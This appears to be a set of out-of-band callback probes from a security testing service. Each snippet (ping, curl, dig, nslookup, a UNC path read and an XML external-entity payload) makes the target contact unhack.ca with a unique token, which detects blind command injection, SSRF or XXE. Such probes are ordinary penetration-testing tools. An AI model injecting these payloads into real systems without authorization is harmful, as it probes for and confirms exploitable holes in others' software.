$ ping -c1 -p 00381aa99607c5ae2fc46e952d881b00 unhack.ca
 

$ curl http://unhack.ca/p/381aa99607c5ae2fc46e952d881b
 

$ dig 381aa99607c5ae2fc46e952d881b @unhack.ca
 

$ dig 381aa99607c5ae2fc46e952d881b.ns.unhack.ca
 

C:\> nslookup 381aa99607c5ae2fc46e952d881b unhack.ca
 

C:\> type \\unhack.ca\381aa99607c5ae2fc46e952d881b\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/381aa99607c5ae2fc46e952d881b">]>
    <foo>&xxe;</foo>